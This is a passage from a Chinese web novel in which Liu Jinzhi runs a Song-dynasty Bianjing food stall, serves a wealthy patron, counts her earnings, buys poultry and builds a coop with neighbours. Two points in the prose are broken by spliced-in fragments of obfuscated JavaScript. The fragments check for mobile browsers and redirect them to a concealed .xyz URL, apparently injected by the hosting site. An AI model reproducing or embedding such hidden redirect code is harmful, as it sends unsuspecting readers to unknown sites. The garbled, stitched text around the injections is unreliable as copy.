相比起卤狮头鹅等大菜,熬粥的步骤就显得简要许多。 首先要把大米淘洗干净,放到砂锅之中,加适量清水煮开。 再将柳霄带回来的老菜脯细细地切成丁状放在一边备用。 紧接着处理月牙买回来的干海货,把一些有杂质的地方挑出来,再切成丝。 其实只是因为现在是冬日,应季的鲜虾、鱿鱼之类的海产品买不到,否则这老菜脯砂锅粥是不必用干货的。 哪怕保存的再怎么好,终究也没有活蹦乱跳的鲜货味道好。 但现在条件有限,柳金枝也不多挑剔什么了。 往灶眼里加柴火,烈火煮的砂锅内的粥开了花,柳金枝就将切好了的老菜脯、虾仁、鱿鱼干等一齐赶进去,最后盖上砂锅盖子小火焖煮。 期间也有不少食客来问这煮的粥卖不卖,但因为这是别人提前定好的,柳金枝表示不卖之后,又向食客们推荐起了自己的蝌蚪粉。 毕竟是要出来做夜市的,不能只赚一小部分人的钱,要赚,就要广揽食客。 柳金枝做面食方面的吃食在行,就给自己定位在这方面。 食客见她煲的粥闻起来还挺香,也愿意再尝尝别的。 于是柳金枝赶忙取出面粉来加水,搅成糊糊,再把整个面盆端到锅边,从摆放齐整的做饭工具处选了“甑”出来。 甑是一种盆状陶器,盆底有很多的孔洞,用三脚架把它架在锅的上方,一来可以蒸饭,二来可以像柳金枝一样把面糊糊倒进去,再用手按压,这些黏黏糊糊的面糊糊就会从甑底的窟窿眼里掉下去,扑通扑通摔进滚起来的沸水中。 由于是用外力把面糊糊强硬按压下去的,所以这些一小团一小团的面糊就会呈现一种大头小尾巴的形状,在沸水里上下浮动的时候就像是一个个小蝌蚪在游,故而称之为蝌蚪粉。 这类粉就是在现代也很流行,在豫东平原那边有道面食就叫“□□蝌蚪”,大概就是宋朝这蝌蚪粉的直系后代了。 在一百度的高温滚水之下,面糊糊很快就被烫熟了。 柳金枝用铁笊篱把这些面糊糊捞起来,反扣装进一只碗里冲凉、过水。 再用蒜泥、小葱段、大粒盐、南姜丝,以及香菜叶、小磨油、江米醋调成料汁淋浇上去,用竹著搅拌均匀。光是闻闻味儿,都想得出这碗蝌蚪粉是多么酸辣鲜香、口感滑嫩,一口下去,顺顺溜溜滑到肚子里,软弹到几乎都不用过牙。 然而这还不是最后一步。 柳金枝翻找出一颗油麦小白菜,拆折两片碧绿鲜嫩的叶子下来丢入滚水之中,用铁笊篱上上下下来回三遍烫熟,将之卧倒在蝌蚪粉之上。 小颗青菜配小面,相得益彰。 柳霄定价为十二文一碗,比别家大约贵个一两文。 但那食客也大方,二话不说,直接解开茄袋付了账,就端着碗坐在桌边呼啦呼啦吸面条去了。 尔后又有不少食客来光顾柳氏食摊,柳金枝就让月牙给他们报菜。 主推蝌蚪粉,次推馄饨、菜包等一系列面食。 几刻钟下来,倒也算是客似云来。 而那付了柳金枝定金的少女按照约定,在三刻钟之后来取菜了。 还一副挑剔模样,道:“柳娘子,你预备的什么菜?” 柳金枝笑道:“老菜脯砂锅粥。” 少女不满意地皱起眉,声音有些尖刻:“你就给我家大姐做这个?” 柳金枝态度依旧谦和有礼,道:“食物不分贵贱,只要好吃就行。再说了,娘子只叫我挑拿手的做来,却没说不能要粥。” 少女气的脸色发红,看样子很想让柳金枝再做一份。 可是这回少女身后还跟着个小娘子,两人似是结伴同行的,见少女要和柳金枝吵起来,皱眉催促道:“好啦,做粥便是粥了,大姐还等着吃呢。再说了,大姐舌头叼,兴许又不肯吃,你与她争辩这些又有什么用?” 少女知道同伴说的有理,可还是气闷,又看着在炉火上炖煨许久的砂锅,道:“这砂锅如此烫手,我该如何带走?你不如派个咸汉替我送去府上。” 咸汉就是古代版的外卖小哥。 有些客人不爱在饭馆里头用饭,就提前点好餐,叫饭馆做了送来。吃完之后,又叫咸汉去把碗碟收回来,连洗都不用自己洗。 不得不说,其实古人也很会享受。 但是柳金枝的食摊就三个人,她是膳工,柳霄收钱算账,月牙照顾食客,谁都走不开。 柳金枝不由拧起了眉头,道:“娘子,你……” “让我去送吧。” 一道声音横插进来。 一家三口动作整齐划一地抬头一看,发现居然是杜卫。 杜卫眼眶还红着,面容疲惫,膝盖上还沾着泥土,似乎曾在坟前长跪不起。 “你可以吗?”柳金枝轻声,“要不要再休息休息?” 杜卫默默摇了摇头,道:“不用了,我休息够了。东家,派活给我做吧。” 柳金枝听着这话,忍不住皱了下眉,道:“其实你不用叫我东家。” “我阿娘说过,公是公,私是私。我既然已经要到这里干活儿,那您就是我的东家。霄哥儿和月牙就是少东家。”杜卫擦了把脸,声音哽咽,却也诚恳,“我力气很大,腿脚很快,这汴京城的路我都认识。东家要跑腿、送货、买东西,都可以差使我去。” 说着,就主动拿抹布盖住砂锅,从火炉上抬了起来,放进了一只篮子里。 柳金枝也就道:“好,那就麻烦你跟着这位娘子跑一趟吧。” 杜卫点头,扛起篮子就跟着少女去了。 柳霄望着杜卫,道:“杜哥哥是个很倔的人,一旦认了死理就改不过来。” “唉,我只是觉得他才失了娘亲,不必再跟我们这么生分。”柳金枝叹了口气,“算了,以后我们还有时间慢慢相处。晚上让他跟着咱们一起回去,就住你隔壁吧。” 柳霄点头:“好。” “然后你再跟杜卫谈一谈工钱。我们现下是穷些,但以后好转了,他的工钱也能逐步往上提。还有逢年过节的红利钱也不会少,让他尽管放心。” 不管怎样,杜卫都算是她招收的第一位员工,该给的福利都要给足。 柳霄应了声好,然后拿出算盘来劈里啪啦地盘了一通,确认红利钱的份额。 瞧他认真的样子,倒蛮有大堂经理的范儿。 以后她的柳氏食摊要是真的开成酒楼,就请柳霄来帮她管理,她就省心多了。 时间逐渐流逝,食摊上的吃食慢慢减少。 眼看着蝌蚪粉马上就要卖到最后一份了,食摊前不知何时笼罩了一道高大浓黑的影子。 那人蹙了蹙眉,开口问:“为何不做朝食了?” 柳金枝登时被吓了一跳,抬头看去。 只见眼前人穿一身红黑收袖锦衣,腰间系一条玄色玉带,勒出精壮的腰身。眉眼俊美锋利,一双眸子又黑又亮,像是两颗耀眼的黑曜石。 柳金枝认出来,这边是昨天早上一出手,就是一两赏钱的超级富豪!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473602|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叫什么潘……潘什么来着? 潘琅寰身后跟着几个仆人,替他牵着骏马,他站在摊前,手腕处缠绕着一圈马鞭,眉眼有些冷傲,但更多的是不耐。 “为何不语?”潘琅寰眉头皱的更深,“难道你不想卖我吃食?” 自昨日吃过一次之后,他今日早上又想吃柳氏的馄饨,便派家中仆人出来采买。 结果仆人回来告诉他,柳氏食摊没开门。 他本以为是柳氏临时有事,便想着择日再来。 谁料晚间跟着几个友人外出,正正好好瞧见柳氏食摊客似云来。 平日里他就一贯傲气,想要的东西一时半刻就要得到。但一碗馄饨吊了他一整日,不免就有些埋怨柳金枝改了时辰却不告知一声。 柳金枝赶忙摇头,笑道:“郎君说笑了,我怎的会把生意往外推?实在是做朝食没得做夜市有赚头。” 又笑吟吟地把人往里头迎,“郎君进来坐,我这儿还有最后一碗蝌蚪粉,正好盛与郎君吧?” 潘琅寰挑了挑眉,道:“我这是什么运气?次次都赶上最后一碗?” 看似有些嫌弃,却利落解下手腕马鞭,甩手丢给仆人替他收着,大步流星行至摊位上坐下了。 柳金枝深知开店首看吃食,次看服务,所以干什么都面带微笑。 毕竟伸手不打笑脸人嘛。 对潘琅寰这般颇为傲气的富家子弟,她也是笑呵呵的,小心把最后一碗蝌蚪粉端过去,又轻声细语请他慢用。 柳金枝容貌清丽漂亮,那双水盈盈的眸子满眼盛笑,像是三月春风拂过的湖水,明亮、干净、温暖,叫人看一眼,仿佛再大的不快都能消弭无踪。 潘琅寰不由盯着柳金枝出了会儿神。 正巧柳金枝递过来一双竹箸,笑道:“郎君请用。” 潘琅寰眸光微闪,这才缓慢移开视线,抓起竹箸搅拌碗中蝌蚪粉。 “这碗蝌蚪粉里头有十八个面团,双九之数,寓意合满,恭喜郎君,又是一个好兆头。” 柳金枝笑吟吟的。 她可没忘记上回说了两句吉祥话,潘琅寰就给了她一两赏钱。 这回不知能再得多少? 嘿嘿。 潘琅寰见柳金枝笑的一双眸子似月牙,也不由勾唇笑了下,从茄袋里翻出一两银子丢过去。 “上回借你吉言。”潘琅寰极黑的眉眼泛起些温度,“我所愿已成。” “看来郎君今年行好运。” 柳金枝嘴上说着,手上却速速把银子装进茄袋里,笑的见牙不见眼。 “若我那个不成器的弟弟能让我省点心,那我就是当真行好运了。” 潘琅寰感叹了一句,低头吃了几口粉。 柳金枝没接话。 双份的吉祥话得收双份的钱。 她笑嘻嘻地走开,继续在摊前招揽食客,却不想潘琅寰埋头吃了两口起来,发现人不见了,转头看见她对着其他食客也是殷勤说笑,眉头又忍不住蹙了起来。 等柳金枝答应着给几位食客挑拣菜包的时候,一抬头,见潘琅寰又站在了她旁边。 “郎君这是没吃饱……?”柳金枝怔了怔。 潘琅寰本想问,他在用膳,为何柳金枝不在旁边等他。 但转念一想,这也不是在潘府,柳金枝不是他府中人,也没这义务。 便道:“我用膳喜有人陪侍。” 柳金枝拧眉:“可我这里还有活儿要忙。” 潘琅寰掏出一两银子“啪”一下放桌上。 柳金枝微微瞪大眼睛,道:“郎君这是何意?” 潘琅寰黑眸中泛起些细密笑意。 “我姓潘,名琅寰。” “娘子说话颇为讨喜,往后我来用膳,你便随侍。” “一次,一两银子。” 柳金枝看看这钱,又看看潘琅寰,第一次对古代有钱人挥金如土的豪横有了具体观感。 “这可是一两。”柳金枝再三确认。 “我私以为为自己的喜好花银子,不是什么大不了的事。”潘琅寰挑眉,“更何况,只是一两。” 柳金枝之前是听说过潘琅寰家中良田千亩,奴仆成片,金银珠宝堆满山。 如果把这些全部换成现银算一算…… 柳霄的算盘抖了一抖,默默对柳金枝比了一个数。 柳金枝顿时咬了咬牙。 这银子,她赚了。 “潘郎君请坐!” 20. 收摊数钱 好在夜市到了最后也不剩什么人了,柳金枝干脆陪潘琅寰坐着,直到他慢条斯理吃完了,才送他离开。 因为是第一次赚快钱,柳金枝又忐忑又兴奋,想着这要是满打满算吃上一个月,她都能去盘一个和蔡氏饭馆差不多的铺子了。 可惜的是,在交谈过程中潘琅寰说他平日里生意繁忙,没有太多私人时间,一个月顶多来吃个三四次。 快速盘铺面的梦想破灭,柳金枝叹着气送走潘琅寰。 她这辈子就是得勤勤恳恳赚钱的命。 好在今夜所得颇为可观,一家三口再加上新加入的杜卫,四人赶忙租了辆驴车坐回采莲胡同。 回家数钱! 因为杜卫曾经雪中送炭,柳金枝信得过他的人品,所以让柳霄总账的时候也没避着他。 于是四个人围着一方小桌,中间点了一盏煤油灯,就着跳跃着的烛光,一枚铜板一枚铜板的数,柳霄就在哪儿一个算珠接一个算珠的拨。 清脆悦耳的算珠碰撞声足足响了一刻钟才停下。 所有人都紧张地盯着柳霄。 柳金枝问:“算出来了?多少?” “算出来了。” 柳霄大手一挥,把所有算珠抹平,深吸一口气,缓缓道:“……你们要不预估一下?” “哎呀,估个屁!”柳金枝急躁起来可再不温柔小意,急忙催促,“快说快说。” 月牙也催他:“哥,你就别卖关子了!” 柳霄嘴角忍不住翘起,给他们比了个数,语气压的低低的,却仍掩盖不住兴奋。 “除却成本,咱们今天净赚二两并四百九十八文!” “啊啊啊啊!” 月牙一下子从座位上窜起来大声尖叫,激动的小脸通红,连话都不会说了。 柳金枝也不可思议地捂住了嘴巴。 知道夜市比早市赚,没想到能多赚这么多啊! 虽然其中的二两银子是潘琅寰给的赏钱,但余下的数额也十分可观了。 柳金枝喜的心跳如雷,却也没忘了去自己屋子,把早就准备好的一只硕大的高粱酒坛子抱来。 揪开封口盖子后,柳金枝只让柳霄留了一两银子在手头,预备着支付后续费用,剩余的统统放进这个坛子里,再重新盖上盖子。 “阿姐这是做什么?”月牙问。 “这就是我们的存钱罐。”柳金枝笑道,“咱们就这么一点点攒钱,等到这个坛子攒到一半,我们就能盘个铺面。等到这个攒满,说不定我们就能开个酒楼。” 这个梦想太大了,却又太吸引人了。 柳霄和月牙的目光落在坛子上,眼眸中充满着小心翼翼的希望。 坛子什么时候才能攒满呢? 不知道。 但如果能每天守着坛子一点点变满,总觉得生活就变得有盼头多了。 “东家,少东家,恭喜啊。” 杜卫在一边给三人道喜,看样子是真心实意为柳金枝高兴。 但是柳金枝拉着他笑道:“给我们道喜,也要给你道喜!我们赚得银子里也有你的一份儿。” “我?”杜卫一愣。 “是啊,赶明儿我就让柳霄拟个文书出来,每月该支付你多少,你每送一趟吃食能分多少,都写出来,你就知道了。” 柳金枝没做过管理,就直接借鉴了现代火锅店的管理模式。 给员工分红、工资,像杜卫有时候要兼职外卖小哥,那就按照外面小哥一单一结。 总之一句话,不能给自己的001号员工吃亏! 杜卫怔怔地看向柳霄,像是被一个惊喜砸懵了头,需要找人确认。 柳霄笑着向他点点头,道:“我阿姐从不会骗人,她说要给你的,就一定会给你,晚间我就给你拟文书。” 杜卫艰难地张了张嘴巴,想说什么,却一句话都说不出来,喉咙哽咽着,只余下几声破碎的呜咽。 月牙主动走过来拉住杜卫的手,道:“杜哥哥,你以后就把这儿当作家,我们都是你的家人。” 杜卫擦着眼泪,却只会说谢谢。 因为除了这两个字,其余所有的话都显得那么苍白。 柳金枝笑道:“不要哭,我们以后还能过的更好。” “是啊,阿姐,我看今天食摊上很多食客都喜欢卤狮头鹅,咱们不如再去买两只鹅回来,提早卤好了明天再去卖。”柳霄提议。 “我也有这个想法,但是就怕遇上黑心肝的遭了他们的道。”柳金枝道。 汴京城里人多,赚银子的机会多,自然奸商也多。 这些奸商会以次充好,更甚者会直接卖你假货。 《武林旧事》是宋末元初周密创作的一本杂史,其中就记载了汴京城内假货横行的现象—— “又有买卖物货,以伪易真,至以纸为衣,铜铅为金银,土木为香药……” 《癸辛杂识》里又记载了宋朝奸商,用马肉充当鹿肉,为了使肉的味道相近,甚至还把病马肉卖进土中几个时辰,再挖出来用大量香料去味,散卖给汴京城内的食客们。 轻则害人腹泻,重则害人呕吐三天三夜不止,命都险些去了一条。 更别提还有敢卖假药给官员的。 只要有利益,这些假货就是层出不穷、屡禁不止。 柳金枝以后想做长远生意,自然要保证货源干净又稳定,可偏偏禽畜类又是最爱得病的。 万一她花了钱,却买回来一堆病鹅、瘟鸡,不仅赔了银子,还得赔了招牌。 可是在信息不发达的时候,要从偌大的汴京城内找一处靠得住的养殖场着实不易。 柳金枝颇为头疼。 杜卫在此时擦干了眼泪,一抽一抽地说:“东、东家,我知道哪家养殖场最好。” 相比于柳霄和月牙受困于郑氏药材铺,杜卫却常年游走于整个汴京城。 今日替这家做工,明日替那家卖梨。 零零散散地赚得一些辛苦钱回家奉养病母。 所以他是最清楚汴京城内哪些地方干净,哪些地方龌龊的。 “哪儿?”柳金枝问。 “就在南熏门附近,有个王氏养殖场。东家人很好,守信,大方。我去哪儿做过一次短工,瞧他们给鸡鸭鹅喂的都是好豆子,人都可以抓两把吃。” 杜卫说。 “好。”柳金枝信任杜卫,一拍手,“明日带够银子,咱们去这个养殖场看看。” 定好计划之后,四个人各有分工。 第二天一早,柳霄带钱,杜卫带路,柳金枝跟着他俩一起去南熏门考察,月牙则留守在家,等候凿河冰的跛子送冰上门。 他们住在新曹门在汴京城的东边,南熏门在汴京城的北边,算起来两个地方隔得不远。 坐着驴车约莫小半个时辰也就到了。 下了车,杜卫领头走在前头。 因为太早,一路上没见着什么人影,只有路边卖朝食的正在忙忙碌碌。 柳金枝给柳霄、杜卫两个一人买了个索饼,边吃边往王氏养殖场走。 因为养殖场里头鸡鸭鹅都有,拉的屎堆在一起能臭的熏天,所以这种养殖场一般会建在离人群居所稍远一些的地方。 三个人就越走越偏,待到出了城,又往南走,快过了养象所才停下脚步。 柳金枝擦了把汗,隐约闻到了空气中传来的,专属于禽畜类的臭味儿,不由松了口气。 总算是到了。 赶忙整理好发丝、衣裳,登门拜访。 这养殖场的东家名唤王志环,生的圆胖身材,穿着一身油光水滑的黄鼠狼皮毛大氅,把个人包的圆滚滚的,再加上他一双笑眼,看起来便觉得十分忠厚老实。 听闻柳金枝是特意登门来谈生意的,赶忙就把人往迎了进去,奉上一盏茶,双方坐着谈生意。 不过柳金枝不太喜欢这类谈法,交流过后,又把地方挪去了禽畜院子里。 柳金枝和王志环在前边走着,柳霄和杜卫在身后跟着。 王志环给柳金枝介绍道:“柳娘子请看,这里便是我们王氏的禽畜院子。鸡、鸭、鹅、猪都有。就是不知道娘子要什么?” 柳金枝顺着王志环的介绍走近一看。 院子里的鸡鸭鹅笼子上下三行码成一排,占满了内院三面墙。 似是对陌生人的到访有些好奇,这些鸡鸭鹅们顶着绿豆大小的眼睛,伸着脑袋探来探去,咯咯咯,喔喔喔的叫个不停。 柳金枝道:“东家,我们是做食饭生意的,这些鸡鸭鹅自然是什么都要一点。” “哦,原来是这样。” 王志环没少和食贩们打交道,已经轻车熟路,便道: “旁的我不敢说,但有一点我敢打包票。就是我院子里的鸡鸭鹅,肉质都是最上乘的。只因我们都喂他们上好的饲料,喝最清甜的泉水。自然,这价 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但一个食摊要长久的经营下去,看的还不是刚开业几天的营业额,而是季度销售额和年度销售额。 开业红火是常规,就看往后能不能在百姓当中打出口碑。 现代多少饭店,都是死在长期营业惨淡上面的。 而柳金枝并不能确定时间长了,尝过新鲜的食客还愿意为他们的高定价买单。 所以自然要先按照一般的市场价去估算利润,再用这个利润去扣除成本,各类花销一均摊,手头显然已经开始紧张,王志环所叫的价就变得高了。 “东家,我们也是小本生意,您一口价要这么高,我们着实承担不起。” “您瞧瞧,我们还是从杜小哥口中听说您这儿的禽畜养的极好,从不生病。” “东家您也是讲诚信的大方人,这才巴巴地跑来跟您谈生意。” 柳金枝试图跟王志环打感情牌,把价格谈下来。 “您就看在我们是诚心想要的份儿上,给我们一个诚意满满的价。” 柳金枝说话好听,人又漂亮。 美人在交谈方面总是能占些便宜的。 王志环笑着说:“娘子若诚心想要,那我每样再给娘子减五文钱。” 柳金枝还想再杀杀价,王志环赶忙抬手阻止:“五文已是最多,不能再砍了。” 看来美人也只能占到一点小便宜。 柳金枝摸了摸下巴,道:“东家,让我们再想想。” 就把柳霄和杜卫拉到一边嘀咕去了。 “确实有些贵了。”柳霄皱着眉,“阿姐,你怎么想?买还是不买?” “我舍不得银子。”柳金枝有些肉疼。 “但卤味儿卖的很好啊。”杜卫说。 柳金枝忍不住挠挠头,蹲下来冥思苦想。 正好她对着的是个鸡笼,母鸡的脖子一抖一抖地伸出来,豆绿般大小的眼睛瞅着柳金枝,跟她大眼瞪小眼。 柳金枝顺着母鸡一看,看见鸡屁股底下还坐了两颗蛋。 “嘶……” 一时灵光乍现,柳金枝左右一手一个,把柳霄和杜卫薅得和她一起蹲着,三个瞅着鸡笼里的母鸡孵蛋。 “你们说,我们买些母鸡、母鹅来自己孵蛋喂养可不可以?” 柳霄第一时间就是打算盘,道:“可以,成本低,前景好,还可以鸡生蛋,蛋生鸡,是一本万利的买卖。但就是有一点不好,养的时间长,一时半会吃不了。” 柳金枝咬了咬嘴唇,又道:“那这样,我们分层次。先买一批成年鸡鸭做成吃食隔天卖,再买一批小鸡、小鸭喂养,最后买几只母鸡、母鸭去孵蛋。等到成年鸡鸭吃完了,小的就长起来了。小的吃完了,蛋也就孵出来了。” “好办法。”柳霄首先表示赞同,“家里有院子,可以扩充出来做养殖场。但是谁管呢?” “我来。”杜卫积极举手。 他们这几个人里,也就杜卫在养殖场做过一段时间短工,有些许经验。 “我喂过鸡鸭鹅,知道它们的习性,也知道他们生病了该怎么处理。”杜卫有信心,“我虽然不敢保证养的有多好,但能保证不会出大错。” 疑人不用,用人不疑。 既然要省银子,就得大胆一些。 柳金枝当即拍板。 好!那就买小鸡小鸭,他们回家自己开农场! 21. 小型农场 柳金枝在王志环手中一共订购了四批小鸡、小鸭,由于装点需要时间,柳金枝就先要了一批成年鸡鸭回家。 不多,一批也就五六只。 又因为王志环看在他们是新手的份儿上,额外送了他们几个笼子,所以他们暂时不用烦恼为这批鸡鸭垒窝的事情。 但也只是暂时,等王志环那边装点完毕,小鸡、小鸭送来的时候,他们就有的忙了。 为了避免麻烦,他们最好是在时间充裕的情况下,提前在院子里把窝垒起来。 大概是柳金枝的高粱酒存钱罐起了激励人心的作用,一家人干劲十足,一听到需要垒窝,都不用柳金枝吩咐,主动分好了各人的活计。 柳金枝和月牙负责选址,再把积雪和杂草之类的东西清理出来,作为他们小小农场的起始点。 柳霄和杜卫是男子,力气大,则负责去外头拉砖头,先拉满三车堆在院子里,再一块块捡过来垒窝。 于是柳家门户大开,四个人在门首进进出出,忙的不亦乐乎。 一条胡同住着的人家大多是胳膊挤着胳膊,脚跟碰着脚跟,更别提是汴京城这种寸土寸金的地方。 柳家的热闹自然也引起了邻居的注意。 王婶子还有此前几个看着柳金枝长大的婶子,都走出来,倚在门首瞧新鲜。 不过看了一会儿,见柳金枝他们四个半大点的少男、少女拉砖头拉得满头大汗,腰酸背痛,几个婶子也主动撸起袖子,一起帮忙干起来。 “婶子,多谢你们了。”柳金枝累得直喘气。 这垒鸡窝比她做饭还累。 王婶子擦了一把汗,爽朗一笑,道:“嗐,这有什么?都说远亲不如近邻,咱们能帮肯定都来帮。不然叫我们干看着你们几个小孩子干活,我们心里哪里过得去?” 柳金枝忍不住笑了笑。 她过了今年的生辰就十七岁了,按照古代的年龄算,其实她这般大小的已经算是大姑娘,都可以去议亲说媒了。 只不过这几个婶子都是看着柳金枝从小长大的,所以在她们眼里,还是把柳金枝当小孩儿看,更别提比柳金枝更小的柳霄、杜卫和月牙了。 这应该就是独属于长辈们的“他还是个孩子,他能懂什么”滤镜了。 小半个时辰后,砖块全都搬完。 几个人累得头上冒热气,脸颊红扑扑的。 柳金枝招呼大家围拢在一起休息喝茶,又去屋里头端出来个不用的铁锅,扔进去几根粗粗的木头枝子烧起火来。 “来来来,大家伙互相把身上的碎雪打一打,再烤一烤,免得等会儿雪化进了衣裳里。”柳金枝说着,揪来月牙,将人从上到下一顿拍。 柳霄则和杜卫两个互相正面、反面拍雪。 几个婶子也相互帮忙。 没一会儿,柳家屋檐下的地面全是踩碎,或化尽了的雪屑。 期间几粒雪屑飞溅,一不小心摔进月牙的衣领里,把个小姑娘冻的又笑又叫:“阿姐阿姐,快帮我掏出来,凉!凉!” 柳金枝笑着伸手刮了一下月牙的鼻子,道:“小鬼头,只管使唤你阿姐。就这么点雪,还没等阿姐把它掏出来,它自个儿就化了。” “可是真的很凉嘛,不然阿姐也试试。” 月牙语气撒娇,然后迈开小短腿哼哧哼哧地跑到外头雪地里,又重新捧了一手心雪回来,小心贴在柳金枝的手边让她感受温度。 柳霄皱着眉去抱月牙,一边蹲下,一边很是老成的说道:“月牙乖,别去闹阿姐,让阿姐休息一下。” 谁知他才蹲下来,月牙反手就将雪块往他领子里扣去。 冻得柳霄嚯的一下恨不得跳五尺高,尖叫道:“啊啊啊!快帮我掏出来!” 旁边的杜卫憋着笑,赶忙上前帮他抖衣裳。 月牙这么一下,倒是让柳霄失了稳重,平白多了些活泼的少年气。 在座的几个婶子见了,都忍不住哈哈大笑起来。 正好此时天光正好,无风也无雨,枯枝立在雪中,冬风吹来,摇动枝桠,疏影浅落之间,柳家市井宅院一派欢声笑语。 王婶子啜了口热茶,舒服的把眼睛都眯了起来,笑道:“金枝,我看你们这样子,是想垒个鸡窝吧?” “是啊,外面买太贵,不如自己养,后面还要到一批小鸡、小鸭呢。”柳金枝笑着回答。 “欸,你既然要垒鸡窝,怎得不找你钱婶子帮忙?”王婶子笑着拉过一个胖乎乎妇人的手,“你还不知道吧?你钱婶子有一双巧手!当年她爹就是咱们胡同里头有名的工匠,手艺都传给了她呢。” 钱婶子长得白净,胖乎乎的,像个松软的馒头,声音也软软的,不好意思地说:“哪儿有你说的这么厉害?我其实也只会一点而已。只要金枝不嫌弃,我就来帮忙。” “婶子,我哪里敢嫌弃您?”柳金枝连忙接话,笑道,“您只管做,要什么材料就跟我说一声。到时候成了,我必然亲自备一桌酒席与您浇浇手。” 钱婶子的脾气也很软和,温温柔柔地说:“砖头是够了,但还差一些泥浆。” “这个没问题,包在我身上。”杜卫站出来,摩拳擦掌,“我知道哪儿有泥浆。” 柳霄道:“我跟你一块儿去吧,那泥浆可沉了。” 杜卫却摆摆手,颇有信心道:“我还是有把子力气的,一个人挑得动。” 说完一溜烟儿就往外跑,不多时,就拿扁担晃晃悠悠地挑了两桶泥浆回来。 咚—— 杜卫将泥浆摆在院子中,揉了揉发酸的肩膀,笑道:“齐备了,婶子,还要什么?” 钱婶子笑着摇摇头,细声细气地说:“这些就够了。” 然后站起身,慢条斯理地把袖子卷起来,当着众人的面走上前,对着泥浆桶比划了一下。 杜卫刚想让钱婶子退后,自己把泥浆桶挑过去。 却只见嚯一下! 钱婶子单手提起了一整桶满满当当的泥浆,十分轻松地走到清扫完毕的院子一角。 杜卫霎时间瞪圆了眼睛,柳金枝等人也满是震惊。 这个力气也太牛了吧! “钱婶子小时候常帮她爹扛石料,这力气大着咧!一巴掌下去,就是石墩子都得给她裂个口子出来。”王婶子笑着说,又打趣了一句,“要不她男人能有这么老实?成亲二十多年了,愣是不进瓦子一步。” 旁边的婶子笑着接话:“就是想去,也得掂量着自个儿的身子骨没有石墩子硬朗。” 言罢,几个妇人哈哈大笑。 千种万种御夫之道,确实都不如钱婶子这一巴掌来的牢靠。 柳金枝看向钱婶子。 她却只单手扛起数十块板砖,回以温柔一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485201|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 高,实在是高。 尔后,钱婶子帮忙打地基、码砖石、垒鸡窝,柳霄、杜卫两个男子就在一边打下手。 今日既然几位婶子来帮了忙,柳金枝就该做东家,治一桌酒席来与众位婶子浇手。 不过几个婶子既然都把柳金枝当晚辈看,自然也不会叫她一个人白忙活。 于是择菜的择菜,淘米的淘米,看火的看火,每个人都有事做,除了月牙,她年岁太小,还是只管吃比较好。 都说男人扎堆的地方,张口闭口便是国家大事,朝代历史,再不济,也要整点人文小说。 好在几位婶子都很是接地气,不聊这些,只谈些寻常街坊琐事。 “对了,你们知道吗?玉堂巷那边有间宅子租出去了,说是官宦人家的家眷要住进去。”王婶子甩着手上的水珠说。 “哟,什么时候搬来?” “不晓得,是位管家嬷嬷亲自出来办的,说是春闱快到了,府上的姑爷要带着他家小姐从秦淮回汴京应考。快的话……下个月月初就来了吧。” “难怪呢,为了考试,能从秦淮到汴京来。唉,也不知道这回咱们胡同能不能出个秀才。” “我看悬。我记着胡同口史家的小孙子三岁就会背诗了,但前年他满了十五去考试,还不是什么都没捞到?听说在家哭了一天。” “马行街牛五郎也是没考上,都考了快十五年了。他家里人说今年要是再考不上,就别考了,留着银子做点小生意算了。” “诶,对了,金枝。”王婶子将目光转向柳金枝,“你家霄哥儿今年考吗?” 柳金枝一愣,道:“春闱?” “是啊。”王婶子择了一把菜,“霄哥儿是我看着长大的,人很聪明,记性又好。当年你爹娘就想供他去科考,只是读了几年,你爹娘就没了。” “后面他跟着你那个黑心娘舅,你娘舅不许他念书,说糟蹋银子,只把人拴在家里头帮铺子切药材、晒药材,当小奴使。” “但我知道,霄哥儿心里一直没忘读书这事儿。好几次我去私塾接我家孙儿回来,都能瞧见霄哥儿一个人在私塾外头踮着脚偷看,可又不敢进去。就蹲在外头柳树下,用树枝练字。” “唉,那时候苦的很嘞!” “好在你现在回来了,也把霄哥儿接到身边养着,那你还继续供他不?” 柳金枝心里顿时揪了一下。 她知道柳霄和月牙在邓山身边过了许多苦日子,但再听到旁人讲起来的时候,还是忍不住为他们感到酸楚。 便道:“我回头就去问问他。” 柳霄聪明,精通算术,记性又不差,说不定将来真的能博个功名回来。 可饶是柳金枝愿意砸锅卖铁送柳霄去念书,还是得面对两大难题。 第一是现在食摊的生意刚刚起步,却钱又缺人手,若是柳霄一下子离开,她怕是忙不过来。 生意若出了问题,后面柳霄即使入了学,束脩也是难以为继。 第二是名师难请。 古代请老师是很难的,毕竟有真学问的大儒可遇不可求,而能把手下弟子教成材的大儒就更少了。 对于自己这个弟弟,柳金枝自然是想为他请个最好的老师。 若是有个靠谱的人推荐就好了…… 忽然间,柳金枝想到了项志轩。 22. 来大订单 钱婶子动手能力强,不过一个上午,就把鸡窝垒出了一个具体的形状,再盖个顶就可以完工。 柳金枝高兴地在院子里摆了个大桌,众人围着一块吃吃笑笑。 席间,柳金枝就悄悄拉着柳霄到一边。 “霄哥儿,自我回来之后,咱们一家都在忙活生计,我却没问过你课业上的事情,是我这个做阿姐的疏忽了。”柳金枝歉声说。 柳霄抿了抿唇,小心问道:“阿姐,你想说什么?是有人跟你说了什么吗?” 